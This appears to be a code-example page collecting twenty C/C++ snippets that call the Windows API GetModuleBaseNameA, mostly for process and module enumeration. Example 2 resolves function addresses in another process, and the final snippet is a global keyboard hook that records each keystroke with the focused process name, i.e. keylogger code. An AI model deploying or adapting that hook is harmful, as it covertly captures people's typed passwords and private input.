Ejemplo n.º 1
0
DWORD CProcessModule::GetProcessID(char *exe_name)
{
	WriteLog("GetProcessID...");
	EnumProcess();
	WriteLog("GetProcessID m_dwProcessCount=%d...", m_dwProcessCount);
	for(int i =0; i<(int)m_dwProcessCount; i++)
	{
		int mod_count =EnumProcessModules(m_dwProcessIDs[i]);
		char mod_base_name[100];
		//WriteLog("process num=%s", i);
		for(int j =0; j<mod_count; j++)
		{
			GetModuleBaseNameA(j, mod_base_name);
			if(strcmpi(mod_base_name, exe_name) ==0)
			{
				WriteLog("found mod_base_name %s", mod_base_name);
				EndEnumProcessModules();
				return m_dwProcessIDs[i];
			}
		}
		//WriteLog("\r\n");
	}


	EndEnumProcessModules();

	return NULL;
}
Ejemplo n.º 2
0
// Get address of function in another process (since addresses aren't shared across processes)
LPVOID GetProcAddressExternal(LPCSTR moduleName, LPCSTR funcName, HANDLE hTargetProcess) {

	// Get local function address
	HMODULE localModule = GetModuleHandleA(moduleName);
	HANDLE localAddress = GetProcAddress(localModule, funcName);

	// Get external modules
	HMODULE modules[100];
	DWORD moduleSize;
	BOOL out = EnumProcessModulesEx(hTargetProcess, modules, (DWORD)100ul, &moduleSize, LIST_MODULES_ALL);

	// Get target module handle (which = the external module offset)
	char curModuleName[100];
	HMODULE remoteModule = NULL;
	for (int i = 0; i < (int)(moduleSize / sizeof(DWORD)); i++) {
		GetModuleBaseNameA(hTargetProcess, modules[i], (LPSTR)&curModuleName, (DWORD)100);
		if (strcmp(moduleName, curModuleName) == 0) {
			remoteModule = modules[i];
			break;
		}
	}
	if (remoteModule == NULL) { return NULL; }

	// Calculate address of function in external process
	unsigned long offset;
	offset = (unsigned long)localAddress - (unsigned long)localModule;
	return (LPVOID)((unsigned long)(remoteModule) + offset);
}
Ejemplo n.º 3
0
/******************************************************************
 *		EnumerateLoadedModules (DBGHELP.@)
 *
 */
BOOL  WINAPI EnumerateLoadedModules(HANDLE hProcess,
                                    PENUMLOADED_MODULES_CALLBACK EnumLoadedModulesCallback,
                                    PVOID UserContext)
{
    HMODULE*    hMods;
    char        base[256], mod[256];
    DWORD       i, sz;
    MODULEINFO  mi;

    hMods = HeapAlloc(GetProcessHeap(), 0, 256 * sizeof(hMods[0]));
    if (!hMods) return FALSE;

    if (!EnumProcessModules(hProcess, hMods, 256 * sizeof(hMods[0]), &sz))
    {
        /* hProcess should also be a valid process handle !! */
        FIXME("If this happens, bump the number in mod\n");
        HeapFree(GetProcessHeap(), 0, hMods);
        return FALSE;
    }
    sz /= sizeof(HMODULE);
    for (i = 0; i < sz; i++)
    {
        if (!GetModuleInformation(hProcess, hMods[i], &mi, sizeof(mi)) ||
            !GetModuleBaseNameA(hProcess, hMods[i], base, sizeof(base)))
            continue;
        module_fill_module(base, mod, sizeof(mod));
        EnumLoadedModulesCallback(mod, (DWORD)mi.lpBaseOfDll, mi.SizeOfImage, 
                                  UserContext);
    }
    HeapFree(GetProcessHeap(), 0, hMods);

    return sz != 0 && i == sz;
}
Ejemplo n.º 4
0
void LoadModules()
{
	const int MAX_MOD_HANDLES = 1024;
	HMODULE StaticModuleHandleArray[MAX_MOD_HANDLES];
	HMODULE* ModuleHandleArray;
	DWORD Needed;

	HANDLE hProcess = GetCurrentProcess();
	ModuleHandleArray = &StaticModuleHandleArray[0];

	BOOL result = EnumProcessModules(hProcess, ModuleHandleArray, sizeof(ModuleHandleArray), &Needed);

	if( !result )
	{
		DWORD error = GetLastError();
		DebugLog("EnumProcessModule failed: error = %d", error);
		return;
	}

	if( Needed > sizeof(ModuleHandleArray) )  // was our static array not big enough?
	{
		ModuleHandleArray = (HMODULE*)DialogAllocator.AllocateBytes(Needed, sizeof(void*));
		BOOL result = EnumProcessModules(hProcess, ModuleHandleArray, Needed, &Needed);

		if( !result )
		{
			DWORD error = GetLastError();
			DebugLog("EnumProcessModule(2) failed: error = %d", error);
			return;
		}
	}

	int NumModules = Needed / sizeof(HMODULE);

	MODULEINFO ModuleInfo;
	char ModuleFilePath[MAX_PATH];
	char ModuleName[256];
	char SearchFilePath[MAX_PATH];

	for( int i = 0; i < NumModules; i++ )
	{
		GetModuleInformation(hProcess, ModuleHandleArray[i], &ModuleInfo, sizeof(MODULEINFO));
		GetModuleFileNameExA(hProcess, ModuleHandleArray[i], ModuleFilePath, MAX_PATH);
		GetModuleBaseNameA(hProcess, ModuleHandleArray[i], ModuleName, 256);

		char* FileName = nullptr;
		GetFullPathNameA(ModuleFilePath, MAX_PATH, SearchFilePath, &FileName);
		*FileName = 0;

		SymSetSearchPath(hApplicationProcess, SearchFilePath);

		DWORD64 BaseAddress = SymLoadModule64(hApplicationProcess, ModuleHandleArray[i], ModuleFilePath, ModuleName, (DWORD64)ModuleInfo.lpBaseOfDll, (DWORD) ModuleInfo.SizeOfImage);
		if( !BaseAddress )
		{
			DWORD error = GetLastError();
			DebugLog("SymLoadModule64 failed: error = %d", error);
		}
	}
}
Ejemplo n.º 5
0
static bool findFlatout2Module( char*& out_begin, std::ptrdiff_t& out_size )
{
  Logger& logger = Logger::getSingleton();

  HANDLE curProcess = GetCurrentProcess();

  DWORD numModules;
  if( !EnumProcessModules( curProcess, nullptr, 0, &numModules ) )
  {
    logger.error( "Failed to retrieve module count! (", GetLastError(), ")" );
    return false;
  }
  numModules /= sizeof( HMODULE );

  std::vector< HMODULE > modules( numModules );
  if( !EnumProcessModules( curProcess, modules.data(), sizeof( modules[ 0 ] ) * modules.size(), &numModules ) )
  {
    logger.error( "Failed to retrieve module list! (", GetLastError(), ")" );
    return false;
  }
  numModules /= sizeof( HMODULE );

  if( numModules < modules.size() )
  {
    modules.resize( numModules );
  }

  for( HMODULE module : modules )
  {
    std::string name;
    {
      std::vector< char > nameBuf( 1024 );
      if( !GetModuleBaseNameA( curProcess, module, nameBuf.data(), nameBuf.size() ) )
      {
        logger.warning( "Failed to retrieve name of module ", module, "! (", GetLastError(), ")" );
        continue;
      }
      name = nameBuf.data();
    }
    std::transform( name.begin(), name.end(), name.begin(), std::tolower );
    if( name != "flatout2.exe" )
    {
      continue;
    }
    MODULEINFO info;
    if( !GetModuleInformation( curProcess, module, &info, sizeof( info ) ) )
    {
      logger.error( "Failed to retrieve information on module ", name, "! (", GetLastError(), ")" );
      return false;
    }
    out_begin = reinterpret_cast< char* >( info.lpBaseOfDll );
    out_size = info.SizeOfImage;
    logger.verbose( "Found FlatOut2.exe module of size 0x", std::hex, out_size, " at 0x", reinterpret_cast< void* >( out_begin ), std::dec );
    return true;
  }
  logger.error( "Failed to find module FlatOut2.exe!" );
  return false;
}
Ejemplo n.º 6
0
BOOL
get_module_base_and_size(const char *module_name, LPVOID *base, DWORD *size, char **error)
{
    HANDLE process;
    HMODULE modules[256];
    DWORD bytes_needed, num_modules;
    unsigned int i;

    process = GetCurrentProcess();

    if (EnumProcessModules(process, (HMODULE *) &modules,
                           sizeof(modules), &bytes_needed) == 0)
    {
        if (error)
            *error = ospy_strdup("EnumProcessModules failed");
        return FALSE;
    }

    if (bytes_needed > sizeof(modules))
        bytes_needed = sizeof(modules);

    num_modules = bytes_needed / sizeof(HMODULE);

    for (i = 0; i < num_modules; i++)
    {
        MODULEINFO mi;

        if (GetModuleInformation(process, modules[i], &mi, sizeof(mi)) != 0)
        {
            char buf[32];
            LPVOID start, end;

            start = mi.lpBaseOfDll;
            end = (char *) start + mi.SizeOfImage;

            if (GetModuleBaseNameA(process, modules[i], buf, 32) == 0)
            {
                if (error)
                    *error = ospy_strdup("GetModuleBaseName failed");
                return FALSE;
            }

            if (stricmp(buf, module_name) == 0)
            {
                *base = mi.lpBaseOfDll;
                *size = mi.SizeOfImage;

                return TRUE;
            }
        }
    }

    if (error)
        *error = ospy_strdup("module not found");
    return FALSE;
}
Ejemplo n.º 7
0
static inline void log_current_process(void)
{
	DWORD len = GetModuleBaseNameA(GetCurrentProcess(), NULL, process_name,
			MAX_PATH);
	if (len > 0) {
		process_name[len] = 0;
		hlog("Hooked to process: %s", process_name);
	}

	hlog("(half life scientist) everything..  seems to be in order");
}
Ejemplo n.º 8
0
// Update state and send info to client: eip module's base address, offset, name
HRESULT
UpdateState()
{
	bool bRes = FALSE;
	HRESULT hRes = E_FAIL;
	DWORD dwRes = 0;
	ULONG64 PrevBase = g_Base;
	ULONG NameSize = 0;
	HANDLE hProcess;

	g_Offset = GetContextData(UE_CIP);

	bRes = DbgGetModuleAt((duint)g_Offset, g_NameBuffer);
	if (!bRes)
	{
		_plugin_logprintf("[sync] UpdateState: no module at %p...\n", g_Offset);
		return hRes;
	}

	g_Base = DbgModBaseFromName(g_NameBuffer);
	if (!g_Base)
	{
		_plugin_logputs("[sync] UpdateState: could not get module base...");
		return hRes;
	}

	// Check if we are in a new module
	if ((g_Base != PrevBase) & g_SyncAuto)
	{
		hProcess = ((PROCESS_INFORMATION*)TitanGetProcessInformation())->hProcess;

		dwRes = GetModuleBaseNameA(hProcess, (HMODULE)g_Base, g_NameBuffer, MAX_MODULE_SIZE);
		if (dwRes==0)
		{
			_plugin_logputs("[sync] could not get module base name...");
			return hRes;
		}

#if VERBOSE >= 2
		_plugin_logprintf("[sync] UpdateState: module : \"%s\"\n", g_NameBuffer);
#endif

		hRes = TunnelSend("[notice]{\"type\":\"module\",\"path\":\"%s\"}\n", g_NameBuffer);
		if (FAILED(hRes)){

			return hRes;
		}
	}

	hRes = TunnelSend("[sync]{\"type\":\"loc\",\"base\":%llu,\"offset\":%llu}\n", g_Base, g_Offset);

	return hRes;
}
Ejemplo n.º 9
0
bool Util::caesariaIsRunning()
{
  DWORD processes[1024];
  DWORD num;

  bool haveInfoAboutProcesses = EnumProcesses(processes, sizeof(processes), &num);
  if( !haveInfoAboutProcesses )
  {
    return false;
  }

  // Iterate over the processes
  for (int i = 0; i < int(num/sizeof(DWORD)); i++)
  {
    char szProcessName[MAX_PATH] = "unknown";

    // Get the handle for this process
    HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION|PROCESS_VM_READ, FALSE, processes[i]);

    if( hProcess )
    {
      HMODULE hMod;
      DWORD countBytes;

      bool haveInfoAboutProcess = EnumProcessModules(hProcess, &hMod, sizeof(hMod), &countBytes);
      if( haveInfoAboutProcess )
      {
        GetModuleBaseNameA(hProcess, hMod, szProcessName, sizeof(szProcessName));

        std::string processName(szProcessName);

        // grayman - This was checking for "Doom3.exe". Starting with 1.08, the D3
        // executable is no longer needed to run TDM, so we'll check for TheDarkMod.exe
        // instead.

        if (processName == "caesaria.exe")
        {
            // At this point, we know we need to quit. There's no longer a need
          CloseHandle(hProcess); // close the handle, we're terminating
          return true;
        }
      }
    }

    CloseHandle(hProcess);
  }

  return false;
}
Ejemplo n.º 10
0
DllModule::DllModule(const OString &path)
    : m_path(path)
{
    m_handle = LoadLibraryA(path.c_str());
    if (m_handle == NULL)
        throw Error("LoadLibrary failed");

    char tmp[_MAX_PATH];
    if (GetModuleBaseNameA(GetCurrentProcess(), m_handle, tmp, sizeof(tmp)) == 0)
        throw Error("GetModuleBaseName failed");

    m_name = tmp;

    OModuleInfo mi = Util::Instance()->GetModuleInfo(m_name.c_str());
    m_base = reinterpret_cast<void *>(mi.startAddress);
    m_size = mi.endAddress - mi.startAddress;
}
Ejemplo n.º 11
0
gboolean
gum_symbol_details_from_address (gpointer address,
                                 GumSymbolDetails * details)
{
  GumSymbolInfo si = { 0, };
  IMAGEHLP_LINE64 li = { 0, };
  DWORD displacement_dw;
  DWORD64 displacement_qw;
  BOOL has_sym_info, has_file_info;

  memset (details, 0, sizeof (GumSymbolDetails));
  details->address = GUM_ADDRESS (address);

  si.sym_info.SizeOfStruct = sizeof (SYMBOL_INFO);
  si.sym_info.MaxNameLen = sizeof (si.sym_name_buf);

  li.SizeOfStruct = sizeof (li);

  dbghelp->Lock ();

  has_sym_info = dbghelp->SymFromAddr (GetCurrentProcess (),
      (DWORD64) address, &displacement_qw, &si.sym_info);
  if (has_sym_info)
  {
    HMODULE mod = GSIZE_TO_POINTER (si.sym_info.ModBase);

    GetModuleBaseNameA (GetCurrentProcess (), mod, details->module_name,
        sizeof (details->module_name) - 1);
    strcpy_s (details->symbol_name, sizeof (details->symbol_name),
        si.sym_info.Name);
  }

  has_file_info = dbghelp->SymGetLineFromAddr64 (GetCurrentProcess (),
      (DWORD64) address, &displacement_dw, &li);
  if (has_file_info)
  {
    strcpy_s (details->file_name, sizeof (details->file_name), li.FileName);
    details->line_number = li.LineNumber;
  }

  dbghelp->Unlock ();

  return (has_sym_info || has_file_info);
}
Ejemplo n.º 12
0
/*++

Routine Name:
    
    IhSerumLoad

Routine Description:
    
    Patch the given modules of the process
    in which this DLL is loaded

Routine Arguments:

    inFnIncludes
        Which functions to include

    inFnExcludes
        Which functions to exclude

Return:

    none

--*/
void
WINAPI
IhSerumLoad(
    LPCSTR      inFnIncludes,
    LPCSTR      inFnExcludes)
{
    char szModuleName[MAX_PATH] = {0};

    if (GetModuleBaseNameA(
                    GetCurrentProcess(),
                    GetModuleHandle(NULL),
                    szModuleName,
                    sizeof(szModuleName)) > 0)
    {
        g_MainExeName = szModuleName;
    }
    else
    {
        char szStr[512] = {0};

        sprintf(    szStr,
                    "#Failed to obtain the main executable name. Error = %x\n",
                    GetLastError());

        OutputDebugStringA(szStr);
    }

    //
    // We need to patch based on Module name to patch,
    // Which modules import table to patch, and finally
    // which functions to patch
    //
    gPatchInclExclMgr.SetInclExclList(
                            inFnIncludes,
                            inFnExcludes);

    //IHU_DBG_LOG(TRC_INJECTOR, IHU_LEVEL_INFO, (L"ihiInitiatePatching called.\n"));

    // Initiate the patching process
    ihiPatchUnpatchModules(g_hInstance, true);

    g_processPatched = true;
}
Ejemplo n.º 13
0
void
get_module_name_for_address(LPVOID address,
                            char *buf, int buf_size)
{
    HANDLE process;
    HMODULE modules[256];
    DWORD bytes_needed, num_modules;
    unsigned int i;

    buf[0] = '\0';

    process = GetCurrentProcess();

    if (EnumProcessModules(process, (HMODULE *) &modules,
                           sizeof(modules), &bytes_needed) == 0)
    {
        return;
    }

    if (bytes_needed > sizeof(modules))
        bytes_needed = sizeof(modules);

    num_modules = bytes_needed / sizeof(HMODULE);

    for (i = 0; i < num_modules; i++)
    {
        MODULEINFO mi;

        if (GetModuleInformation(process, modules[i], &mi, sizeof(mi)) != 0)
        {
            LPVOID start, end;

            start = mi.lpBaseOfDll;
            end = (char *) start + mi.SizeOfImage;

            if (address >= start && address <= end)
            {
                GetModuleBaseNameA(process, modules[i], buf, buf_size);
                return;
            }
        }
    }
}
Ejemplo n.º 14
0
HANDLE CProcessModule::GetProcessModuleHandle(DWORD process_id, char *mod_name)
{
	int mod_count =EnumProcessModules(process_id);
	char mod_base_name[100];

	for(int i =0; i<mod_count; i++)
	{
		GetModuleBaseNameA(i, mod_base_name);
		if(strcmpi(mod_base_name, mod_name) ==0)
		{
			EndEnumProcessModules();
			return m_hMods[i];
		}
	}

	EndEnumProcessModules();

	return NULL;
}
Ejemplo n.º 15
0
	bool findModule(const char* _name)
	{
#if BX_PLATFORM_WINDOWS
		HANDLE process = GetCurrentProcess();
		DWORD size;
		BOOL result = EnumProcessModules(process
						, NULL
						, 0
						, &size
						);
		if (0 != result)
		{
			HMODULE* modules = (HMODULE*)alloca(size);
			result = EnumProcessModules(process
				, modules
				, size
				, &size
				);

			if (0 != result)
			{
				char moduleName[MAX_PATH];
				for (uint32_t ii = 0, num = uint32_t(size/sizeof(HMODULE) ); ii < num; ++ii)
				{
					result = GetModuleBaseNameA(process
								, modules[ii]
								, moduleName
								, BX_COUNTOF(moduleName)
								);
					if (0 != result
					&&  0 == bx::strCmpI(_name, moduleName) )
					{
						return true;
					}
				}
			}
		}
#endif // BX_PLATFORM_WINDOWS
		BX_UNUSED(_name);
		return false;
	}
Ejemplo n.º 16
0
static int GetEXEName(DWORD dwProcessID, char* name) {
    DWORD aProcesses [1024], cbNeeded, cProcesses;
    unsigned int i;
        
    //Enumerate all processes
    if(!EnumProcesses(aProcesses, sizeof(aProcesses), &cbNeeded)) return FALSE;

    // Calculate how many process identifiers were returned.
    cProcesses = cbNeeded / sizeof(DWORD);

    char szEXEName[MAX_PATH];
    //Loop through all process to find the one that matches
    //the one we are looking for

    for (i = 0; i < cProcesses; i++) {
        if (aProcesses [i] == dwProcessID) {
            // Get a handle to the process
            HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION |
                              PROCESS_VM_READ, FALSE, dwProcessID);
        
            // Get the process name
            if (NULL != hProcess) {
                HMODULE hMod;
                DWORD cbNeeded;
            
                if(EnumProcessModules(hProcess, &hMod,sizeof(hMod), &cbNeeded)) {
                    //Get the name of the exe file
                    GetModuleBaseNameA(hProcess,hMod,szEXEName,sizeof(szEXEName)/sizeof(char));
					int len = strlen((char*)szEXEName) - 3; // remove ".exe"
					lstrcpynA(name,(char*)szEXEName,len); 
					name[len] = '\0';
					return TRUE;
                 }
            }
        }    
    }

    return FALSE;
}
Ejemplo n.º 17
0
HMODULE FindModule(HANDLE p_Process, const char* p_ModuleName)
{
	HMODULE s_Modules[1024];
	DWORD s_CbNeeded;

	// Get a list of all the modules in this process.
	if (!EnumProcessModules(p_Process, s_Modules, sizeof(s_Modules), &s_CbNeeded))
		return NULL;

	for (size_t i = 0; i < (s_CbNeeded / sizeof(HMODULE)); i++)
	{
		char s_ModuleName[MAX_PATH];

		// These are not the modules you're looking for!
		if (!GetModuleBaseNameA(p_Process, s_Modules[i], s_ModuleName, sizeof(s_ModuleName) / sizeof(char)))
			continue;

		if (_stricmp(s_ModuleName, p_ModuleName) == 0)
			return s_Modules[i];
	}

	return NULL;
}
Ejemplo n.º 18
0
VOID ListProcesses(VOID)
{
	DWORD cbNeeded, cProcesses;
	unsigned int i;
	HANDLE hProcess;
	HMODULE hMod;
	char szProcessName[MAX_PATH];
	char b[MAX_PATH];


	EnumProcesses(ProcessIDs, MAX_PROCESS * sizeof(DWORD), &cbNeeded);
	cProcesses = cbNeeded / sizeof(DWORD);
    for (i = 0; i < cProcesses; i++)
    {
		hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessIDs[i]);
		if (hProcess != NULL)
		{
			if (EnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded))
			{
				if (IsProcess64Bit(hProcess, hMod) == TRUE)
				{
					GetModuleBaseNameA(hProcess, hMod, szProcessName, MAX_PATH);
					sprintf_s(b, MAX_PATH - 1, "%.08X - %s", ProcessIDs[i], szProcessName);
				}
				else
					goto next;
			}
			else
			{
				sprintf_s(b, MAX_PATH - 1, "%.08X - <unknown>", ProcessIDs[i]);
			}
			ComboxAdd(b);
			next:
				CloseHandle(hProcess);
		}
	}
}
Ejemplo n.º 19
0
Memory::Memory(const std::string& processName) {
	// First, get the handle of the process
	PROCESSENTRY32 entry;
	entry.dwSize = sizeof(entry);
	HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	while (Process32Next(snapshot, &entry)) {
		if (processName == entry.szExeFile) {
			_handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, entry.th32ProcessID);
			if (!_handle) {
				std::cerr << "Couldn't find " << processName.c_str() << ". Is it open?" << std::endl;
				exit(EXIT_FAILURE);
			}
			break;
		}
	}

	// Next, get the process base address
	DWORD numModules;
	std::vector<HMODULE> moduleList(1024);
	EnumProcessModulesEx(_handle, &moduleList[0], static_cast<DWORD>(moduleList.size()), &numModules, 3);

	std::string name(64, 0);
	for (DWORD i = 0; i < numModules / sizeof(HMODULE); i++) {
		GetModuleBaseNameA(_handle, moduleList[i], &name[0], sizeof(name));

		// TODO: Filling with 0s still yeilds name.size() == 64...
		if (strcmp(processName.c_str(), name.c_str()) == 0) {
			_baseAddress = (uintptr_t)moduleList[i];
			break;
		}
	}
	if (_baseAddress == 0) {
		std::cerr << "Couldn't find base address!" << std::endl;
		exit(EXIT_FAILURE);
	}
}
Ejemplo n.º 20
0
// low-level keyboard hook function
static LRESULT CALLBACK 
	LLKeyboardProc(
		int nCode, 
		WPARAM wParam, 
		LPARAM lParam
		) 
{
	PKBDLLHOOKSTRUCT HookStruct = (PKBDLLHOOKSTRUCT)lParam;

	DWORD CurrentThread;
	HWND  hForeground,hFocus = NULL;

	DWORD ProcessID = 0;
	DWORD ThreadID  = 0;
	DWORD HostProcess = 0;
	HANDLE hProcess;
	BOOL bAttached = FALSE;
	CHAR  ProcessName[MAX_PATH];
	
#ifdef _DEBUG
	lstrcpy(ProcessName, szUnknown);
#endif

	do {
		if ( !g_bLoggerEnabled || ( nCode != HC_ACTION ) || !HookStruct ){
			break;
		}

		if ( (UINT)wParam != WM_KEYDOWN ){ //message 
			break;
		}

		CurrentThread = GetCurrentThreadId();
		hForeground = GetForegroundWindow();

#ifndef _DEBUG
		ProcessName[0] = 0;
#endif
		if ( hForeground == NULL ){
			DbgPrint("GetForegroundWindow is NULL\n");
			break;
		}

		// get thread and process for foreground window
		if ( ThreadID = GetWindowThreadProcessId(hForeground,&ProcessID) )
		{
			if ( CurrentThread != ThreadID ){
				bAttached =
					AttachThreadInput(
						CurrentThread,
						ThreadID,
						TRUE
						);
			}
		}else{
			DbgPrint("GetWindowThreadProcessId failed, err=%lu\n",GetLastError());
		}

		// wnd that owns focus can be handled by different thread
		hFocus = GetFocus();
		if ( hFocus != hForeground )
		{
			// detach input
			if ( bAttached ){
				AttachThreadInput(
					CurrentThread,
					ThreadID,
					FALSE
					);
				bAttached = FALSE;
			}
			if ( ThreadID = GetWindowThreadProcessId(hFocus,&ProcessID) )
			{
				if ( CurrentThread != ThreadID ){
					bAttached =
						AttachThreadInput(
							CurrentThread,
							ThreadID,
							TRUE
							);
				}
			}else{
				DbgPrint("GetWindowThreadProcessId failed, err=%lu\n",GetLastError());
			}
		}

		if ( ProcessID ){
			hProcess = 
				OpenProcess(
					PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
					FALSE,
					ProcessID
					);
			if ( hProcess )
			{
				if ( GetModuleBaseNameA(hProcess,NULL,ProcessName,MAX_PATH) ){
					strupr(ProcessName);
					HostProcess = Crc32(ProcessName, lstrlenA(ProcessName));
				}else{
					DbgPrint("GetModuleBaseName failed, err=%lu\n",GetLastError());
				}
				CloseHandle(hProcess);
			}else{
				DbgPrint("OpenProcess failed, err=%lu\n",GetLastError());
			}
		}

		// log kbd event
		KeyProcessMessage( 
			hFocus, 
			(UINT)wParam, //message 
			(UINT)HookStruct->vkCode, 
			(UINT)HookStruct->scanCode, 
			ProcessID,
			ThreadID,
			HostProcess
#ifdef _DEBUG
			,ProcessName
#endif
			);

		if ( bAttached ){
			AttachThreadInput(
				CurrentThread,
				ThreadID,
				FALSE
				);
		}
	} while ( FALSE );

	return CallNextHookEx(0, nCode, wParam, lParam);
}